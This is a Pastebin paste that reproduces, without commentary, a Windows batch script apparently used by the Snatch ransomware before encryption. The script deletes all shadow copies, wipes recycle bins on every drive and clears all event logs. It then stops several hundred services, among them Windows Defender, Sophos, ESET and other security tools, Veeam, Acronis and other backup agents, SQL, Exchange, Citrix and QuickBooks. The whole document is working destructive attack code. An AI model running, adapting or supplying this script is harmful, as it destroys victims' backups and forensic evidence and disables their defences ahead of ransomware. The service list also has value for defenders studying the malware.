API tools faq
paste
Guest User

Snatch Ransomware — Techniques and Procedures

a guest
Jun 17th, 2023
68
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.84 KB | None | 0 0
raw download clone embed print report
  1. @echo off
  2. sc start vss 2>nul >nul
  3. timeout /T 5 2>nul >nul
  4. vssadmin Delete Shadows /all /quiet 2>nul >nul
  5. C:\Windows\System32\vssadmin.exe Delete Shadows /all /quiet 2>nul >nul
  6. C:\Windows\SysWOW64\vssadmin.exe Delete Shadows /all /quiet 2>nul >nul
  7. for %%v in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
  8. if exist "%%v:\\" (
  9. vssadmin resize shadowstorage /for=%%v: /on=%%v: /maxsize=401MB 2>nul >nul
  10. vssadmin resize shadowstorage /for=%%v: /on=%%v: /maxsize=unbounded 2>nul >nul
  11. C:\Windows\System32\vssadmin.exe resize shadowstorage /for=%%v: /on=%%v: /maxsize=401MB 2>nul >nul
  12. C:\Windows\System32\vssadmin.exe resize shadowstorage /for=%%v: /on=%%v: /maxsize=unbounded 2>nul >nul
  13. C:\Windows\SysWOW64\vssadmin.exe resize shadowstorage /for=%%v: /on=%%v: /maxsize=401MB 2>nul >nul
  14. C:\Windows\SysWOW64\vssadmin.exe resize shadowstorage /for=%%v: /on=%%v: /maxsize=unbounded 2>nul >nul
  15. rd /s /q %%v:\$Recycle.Bin 2>nul >nul
  16. )
  17. )
  18. vssadmin Delete Shadows /all /quiet 2>nul >nul
  19. C:\Windows\System32\vssadmin.exe Delete Shadows /all /quiet 2>nul >nul
  20. C:\Windows\SysWOW64\vssadmin.exe Delete Shadows /all /quiet 2>nul >nul
  21. sc stop VSS 2>nul >nul
  22. FOR /F "delims=" %%I IN ('WEVTUTIL EL') DO (WEVTUTIL CL "%%I")
  23. sc stop "ScreenConnect Client (4359c1fc603a46cf)" 2>nul >nul
  24. sc stop "1C:Enterprise 8.3 Server Agent" 2>nul >nul
  25. sc stop "Apache2.2" 2>nul >nul
  26. sc stop "BitLicenseServer_16" 2>nul >nul
  27. sc stop "hasplms" 2>nul >nul
  28. sc stop "sd5" 2>nul >nul
  29. sc stop "TDService" 2>nul >nul
  30. sc stop "Undelete" 2>nul >nul
  31. sc stop "LogMeIn" 2>nul >nul
  32. sc stop "VRLService" 2>nul >nul
  33. sc stop "JTB FlexReport Auto Service" 2>nul >nul
  34. sc stop "JTB FlexReport Core Service" 2>nul >nul
  35. sc stop "JTB FlexReport Report Service" 2>nul >nul
  36. sc stop "JTB FlexReport Sampling Service" 2>nul >nul
  37. sc stop "CryptoPreventFolderWatch" 2>nul >nul
  38. sc stop "CryptoPreventMonSvc" 2>nul >nul
  39. sc stop "LMIGuardianSvc" 2>nul >nul
  40. sc stop "LTService" 2>nul >nul
  41. sc stop "LTSvcMon" 2>nul >nul
  42. sc stop "RapidRecoveryCore" 2>nul >nul
  43. sc stop "TrueKeyServiceHelper" 2>nul >nul
  44. sc stop "EventLog" 2>nul >nul
  45. sc stop "MsMpEng" 2>nul >nul
  46. sc stop "MBAMService" 2>nul >nul
  47. sc stop "wscsvc" 2>nul >nul
  48. sc stop "SENS" 2>nul >nul
  49. sc stop "PDFProFiltSrvPP" 2>nul >nul
  50. sc stop "Intel(R) PROSet Monitoring Service" 2>nul >nul
  51. sc stop "LMS" 2>nul >nul
  52. sc stop "TeamViewer" 2>nul >nul
  53. sc stop "JavaQuickStarterService" 2>nul >nul
  54. sc stop "ERSvc" 2>nul >nul
  55. sc stop "WinDefend" 2>nul >nul
  56. sc stop "vmickvpexchange" 2>nul >nul
  57. sc stop "vmicguestinterface" 2>nul >nul
  58. sc stop "vmicshutdown" 2>nul >nul
  59. sc stop "vmicheartbeat" 2>nul >nul
  60. sc stop "vmicrdv" 2>nul >nul
  61. sc stop "vmictimesync" 2>nul >nul
  62. sc stop "vmicvss" 2>nul >nul
  63. sc stop "MSSQLFDLauncher" 2>nul >nul
  64. sc stop "MSSQLSERVER" 2>nul >nul
  65. sc stop "SQLSERVERAGENT" 2>nul >nul
  66. sc stop "SQLBrowser" 2>nul >nul
  67. sc stop "SQLTELEMETRY" 2>nul >nul
  68. sc stop "MsDtsServer130" 2>nul >nul
  69. sc stop "SSISTELEMETRY130" 2>nul >nul
  70. sc stop "SQLWriter" 2>nul >nul
  71. sc stop "MSSQL$VEEAMSQL2012" 2>nul >nul
  72. sc stop "SQLAgent$VEEAMSQL2012" 2>nul >nul
  73. sc stop "MSSQL" 2>nul >nul
  74. sc stop "SQLAgent" 2>nul >nul
  75. sc stop "MSSQLServerADHelper100" 2>nul >nul
  76. sc stop "MSSQLServerOLAPService" 2>nul >nul
  77. sc stop "MsDtsServer100" 2>nul >nul
  78. sc stop "ReportServer" 2>nul >nul
  79. sc stop "SQLTELEMETRY$HL" 2>nul >nul
  80. sc stop "TMBMServer" 2>nul >nul
  81. sc stop "MSSQL$PROGID" 2>nul >nul
  82. sc stop "MSSQL$WOLTERSKLUWER" 2>nul >nul
  83. sc stop "SQLAgent$PROGID" 2>nul >nul
  84. sc stop "SQLAgent$WOLTERSKLUWER" 2>nul >nul
  85. sc stop "MSSQLFDLauncher$OPTIMA" 2>nul >nul
  86. sc stop "MSSQL$OPTIMA" 2>nul >nul
  87. sc stop "SQLAgent$OPTIMA" 2>nul >nul
  88. sc stop "ReportServer$OPTIMA" 2>nul >nul
  89. sc stop "msftesql$SQLEXPRESS" 2>nul >nul
  90. sc stop "postgresql-x64-9.4" 2>nul >nul
  91. sc stop AmazonSSMAgent 2>nul >nul
  92. sc stop SecurityHealthService 2>nul >nul
  93. sc stop FirebirdServerDefaultInstance 2>nul >nul
  94. sc stop SQLTELEMETRY 2>nul >nul
  95. sc stop SQLTELEMETRY$SQLEXPRESS 2>nul >nul
  96. sc stop OfficeSvc 2>nul >nul
  97. sc stop PCoIPPrintingSvc 2>nul >nul
  98. sc stop PCoIPArbiterService 2>nul >nul
  99. sc stop PCoIPAgent 2>nul >nul
  100. sc stop SolarWindsAgent64 2>nul >nul
  101. sc stop SkyLightWorkspaceConfigService 2>nul >nul
  102. sc stop Stxhd.HostAgents.HAService 2>nul >nul
  103. sc stop EcuRemote 2>nul >nul
  104. sc stop Wrmserv 2>nul >nul
  105. sc stop MSComplianceAudit 2>nul >nul
  106. sc stop MSExchangeADTopology 2>nul >nul
  107. sc stop MSExchangeAntispamUpdate 2>nul >nul
  108. sc stop MSExchangeCompliance 2>nul >nul
  109. sc stop MSExchangeDagMgmt 2>nul >nul
  110. sc stop MSExchangeDelivery 2>nul >nul
  111. sc stop MSExchangeDiagnostics 2>nul >nul
  112. sc stop MSExchangeEdgeSync 2>nul >nul
  113. sc stop MSExchangeFastSearch 2>nul >nul
  114. sc stop MSExchangeFrontEndTransport 2>nul >nul
  115. sc stop MSExchangeHM 2>nul >nul
  116. sc stop MSExchangeHMRecovery 2>nul >nul
  117. sc stop MSExchangeImap4 2>nul >nul
  118. sc stop MSExchangeIMAP4BE 2>nul >nul
  119. sc stop MSExchangeIS 2>nul >nul
  120. sc stop MSExchangeMailboxAssistants 2>nul >nul
  121. sc stop MSExchangeMailboxReplication 2>nul >nul
  122. sc stop MSExchangeNotificationsBroker 2>nul >nul
  123. sc stop MSExchangePop3 2>nul >nul
  124. sc stop MSExchangePOP3BE 2>nul >nul
  125. sc stop MSExchangeRepl 2>nul >nul
  126. sc stop MSExchangeRPC 2>nul >nul
  127. sc stop MSExchangeServiceHost 2>nul >nul
  128. sc stop MSExchangeSubmission 2>nul >nul
  129. sc stop MSExchangeThrottling 2>nul >nul
  130. sc stop MSExchangeTransport 2>nul >nul
  131. sc stop MSExchangeTransportLogSearch 2>nul >nul
  132. sc stop MSExchangeUM 2>nul >nul
  133. sc stop MSExchangeUMCR 2>nul >nul
  134. sc stop SearchExchangeTracing 2>nul >nul
  135. sc stop vmickvpexchange 2>nul >nul
  136. sc stop wsbexchange 2>nul >nul
  137. sc stop MSExchangeFBA 2>nul >nul
  138. sc stop MSExchangeSA 2>nul >nul
  139. sc stop ShadowProtectSvc 2>nul >nul
  140. sc stop IISADMIN 2>nul >nul
  141. sc stop firebirdguardiandefaultinstance 2>nul >nul
  142. sc stop QBCFMonitorService 2>nul >nul
  143. sc stop QBVSS 2>nul >nul
  144. sc stop QBPOSDBServiceV12 2>nul >nul
  145. sc stop QuickBooksDB1 2>nul >nul
  146. sc stop QuickBooksDB2 2>nul >nul
  147. sc stop QuickBooksDB3 2>nul >nul
  148. sc stop QuickBooksDB4 2>nul >nul
  149. sc stop QuickBooksDB5 2>nul >nul
  150. sc stop QuickBooksDB6 2>nul >nul
  151. sc stop QuickBooksDB7 2>nul >nul
  152. sc stop QuickBooksDB8 2>nul >nul
  153. sc stop QuickBooksDB9 2>nul >nul
  154. sc stop QuickBooksDB10 2>nul >nul
  155. sc stop QuickBooksDB11 2>nul >nul
  156. sc stop QuickBooksDB12 2>nul >nul
  157. sc stop QuickBooksDB13 2>nul >nul
  158. sc stop QuickBooksDB14 2>nul >nul
  159. sc stop QuickBooksDB15 2>nul >nul
  160. sc stop QuickBooksDB16 2>nul >nul
  161. sc stop QuickBooksDB17 2>nul >nul
  162. sc stop QuickBooksDB18 2>nul >nul
  163. sc stop QuickBooksDB19 2>nul >nul
  164. sc stop QuickBooksDB20 2>nul >nul
  165. sc stop QuickBooksDB21 2>nul >nul
  166. sc stop QuickBooksDB22 2>nul >nul
  167. sc stop QuickBooksDB23 2>nul >nul
  168. sc stop QuickBooksDB24 2>nul >nul
  169. sc stop QuickBooksDB25 2>nul >nul
  170. sc stop ekrn 2>nul >nul
  171. sc stop ClickToRunSvc 2>nul >nul
  172. sc stop ekrnEpfw 2>nul >nul
  173. sc stop SageEvolutionEcommService 2>nul >nul
  174. sc stop MacriumService 2>nul >nul
  175. sc stop FirebirdGuardiansgsSFBServer 2>nul >nul
  176. sc stop FirebirdServersgsSFBServer 2>nul >nul
  177. sc stop FileOpenManagerSvc 2>nul >nul
  178. sc stop NGCLIENT 2>nul >nul
  179. sc stop hMailServer 2>nul >nul
  180. sc stop DPMClientService 2>nul >nul
  181. sc stop DpmCPWrapperService 2>nul >nul
  182. sc stop DPMRA 2>nul >nul
  183. sc stop aspnet_state 2>nul >nul
  184. sc stop BASupportExpressStandaloneService_N_Central 2>nul >nul
  185. sc stop BASupportExpressSrvcUpdater_N_Central 2>nul >nul
  186. sc stop OracleMTSRecoveryService 2>nul >nul
  187. sc stop OracleOraDb11g_home1ClrAgent 2>nul >nul
  188. sc stop Check_MK_Agent 2>nul >nul
  189. sc stop tvnserver 2>nul >nul
  190. sc stop AcronisActiveProtectionService 2>nul >nul
  191. sc stop AcronisZmqGw 2>nul >nul
  192. sc stop AcrSch2Svc 2>nul >nul
  193. sc stop AcronisMonitoringService 2>nul >nul
  194. sc stop AcronisAgent 2>nul >nul
  195. sc stop Tomcat8Testing 2>nul >nul
  196. sc stop Tomcat9 2>nul >nul
  197. sc stop VisualSVNServer 2>nul >nul
  198. sc stop QBFCService 2>nul >nul
  199. sc stop MSSQLFDLauncher 2>nul >nul
  200. sc stop MSSQLSERVER 2>nul >nul
  201. sc stop SQLServerReportingServices 2>nul >nul
  202. sc stop SQLSERVERAGENT 2>nul >nul
  203. sc stop SQLBrowser 2>nul >nul
  204. sc stop MSSQLServerADHelper100 2>nul >nul
  205. sc stop MSSQL$ISARS 2>nul >nul
  206. sc stop MSSQL$MSFW 2>nul >nul
  207. sc stop SQLAgent$ISARS 2>nul >nul
  208. sc stop SQLAgent$MSFW 2>nul >nul
  209. sc stop ReportServer$ISARS 2>nul >nul
  210. sc stop SQLWriter 2>nul >nul
  211. sc stop MySQL55 2>nul >nul
  212. sc stop MSSQLServerOLAPService 2>nul >nul
  213. sc stop ReportServer 2>nul >nul
  214. sc stop MySQL 2>nul >nul
  215. sc stop MSSQL$CRMVIEW 2>nul >nul
  216. sc stop MSSQL$CRMVIEW2 2>nul >nul
  217. sc stop MSSQLLaunchpad$SQLEXPRESS 2>nul >nul
  218. sc stop MsDtsServer100 2>nul >nul
  219. sc stop MSDTC 2>nul >nul
  220. sc stop MSOLAP$SQL 2>nul >nul
  221. sc stop ReportServer$SQL 2>nul >nul
  222. sc stop OracleOraDb11g_home1TNSListener 2>nul >nul
  223. sc stop OracleServiceINFAORCL 2>nul >nul
  224. sc stop WindowsAzureTelemetryService 2>nul >nul
  225. sc stop Backupper Service 2>nul >nul
  226. sc stop MSExchangeAB 2>nul >nul
  227. sc stop MSExchangeFDS 2>nul >nul
  228. sc stop MSExchangeMailSubmission 2>nul >nul
  229. sc stop MSExchangeMonitoring 2>nul >nul
  230. sc stop MSExchangeProtectedServiceHost 2>nul >nul
  231. sc stop MSExchangeSearch 2>nul >nul
  232. sc stop VeeamCatalogSvc 2>nul >nul
  233. sc stop VeeamCloudSvc 2>nul >nul
  234. sc stop VeeamDeploySvc 2>nul >nul
  235. sc stop VeeamMountSvc 2>nul >nul
  236. sc stop VeeamNFSSvc 2>nul >nul
  237. sc stop VeeamTransportSvc 2>nul >nul
  238. sc stop FileZilla Server 2>nul >nul
  239. sc stop msftesql-Exchange 2>nul >nul
  240. sc stop MSCRMAsyncService 2>nul >nul
  241. sc stop MSCRMAsyncService$maintenance 2>nul >nul
  242. sc stop MSCRMMonitoringService 2>nul >nul
  243. sc stop MSCRMSandboxService 2>nul >nul
  244. sc stop MSCRMUnzipService 2>nul >nul
  245. sc stop SentinelKeysServer 2>nul >nul
  246. sc stop SentinelProtectionServer 2>nul >nul
  247. sc stop SentinelSecurityRuntime 2>nul >nul
  248. sc stop psqlWGE 2>nul >nul
  249. sc stop MSSQL$SBSMONITORING 2>nul >nul
  250. sc stop MSSQLFDLauncher$SBSMONITORING 2>nul >nul
  251. sc stop Citrix Encryption Service 2>nul >nul
  252. sc stop Citrix EUEM 2>nul >nul
  253. sc stop Citrix Licensing 2>nul >nul
  254. sc stop Citrix Peer Resolution Service 2>nul >nul
  255. sc stop CitrixADIdentityService 2>nul >nul
  256. sc stop CitrixAnalytics 2>nul >nul
  257. sc stop CitrixAppLibrary 2>nul >nul
  258. sc stop CitrixBrokerService 2>nul >nul
  259. sc stop CitrixClusterService 2>nul >nul
  260. sc stop CitrixConfigSyncService 2>nul >nul
  261. sc stop CitrixConfigurationLogging 2>nul >nul
  262. sc stop CitrixConfigurationReplication 2>nul >nul
  263. sc stop CitrixConfigurationService 2>nul >nul
  264. sc stop CitrixConnector 2>nul >nul
  265. sc stop CitrixCredentialWallet 2>nul >nul
  266. sc stop CitrixCseEngine 2>nul >nul
  267. sc stop CitrixDefaultDomainService 2>nul >nul
  268. sc stop CitrixDelegatedAdmin 2>nul >nul
  269. sc stop CitrixEnvTest 2>nul >nul
  270. sc stop CitrixHighAvailabilityService 2>nul >nul
  271. sc stop CitrixHostService 2>nul >nul
  272. sc stop CitrixMachineCreationService 2>nul >nul
  273. sc stop CitrixMonitor 2>nul >nul
  274. sc stop CitrixOrchestration 2>nul >nul
  275. sc stop CitrixPrivilegedService 2>nul >nul
  276. sc stop CitrixRedirector 2>nul >nul
  277. sc stop CitrixServiceMonitor 2>nul >nul
  278. sc stop CitrixStorefront 2>nul >nul
  279. sc stop CitrixSubscriptionsStore 2>nul >nul
  280. sc stop CitrixTelemetryService 2>nul >nul
  281. sc stop CitrixTrust 2>nul >nul
  282. sc stop CitrixWebServicesforLicensing 2>nul >nul
  283. sc stop Citrix_GTLicensingProv 2>nul >nul
  284. sc stop CtxAudioSvc 2>nul >nul
  285. sc stop CtxFlashSvc 2>nul >nul
  286. sc stop CtxHdxWebSocketService 2>nul >nul
  287. sc stop CtxLSPortSvc 2>nul >nul
  288. sc stop CtxMultiTouchSvc 2>nul >nul
  289. sc stop ctxProfile 2>nul >nul
  290. sc stop CtxSensVcSvc 2>nul >nul
  291. sc stop CtxSmartCardSvc 2>nul >nul
  292. sc stop ctxsmcdrv 2>nul >nul
  293. sc stop ctxusbm 2>nul >nul
  294. sc stop CtxUvi 2>nul >nul
  295. sc stop icausbb 2>nul >nul
  296. sc stop picadm 2>nul >nul
  297. sc stop picapar 2>nul >nul
  298. sc stop picaser 2>nul >nul
  299. sc stop picavc 2>nul >nul
  300. sc stop "Sophos Anti-Virus" 2>nul >nul
  301. sc stop "Sophos AutoUpdate Service" 2>nul >nul
  302. sc stop VSS 2>nul >nul
Tags: ransomware Ransom snatch
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!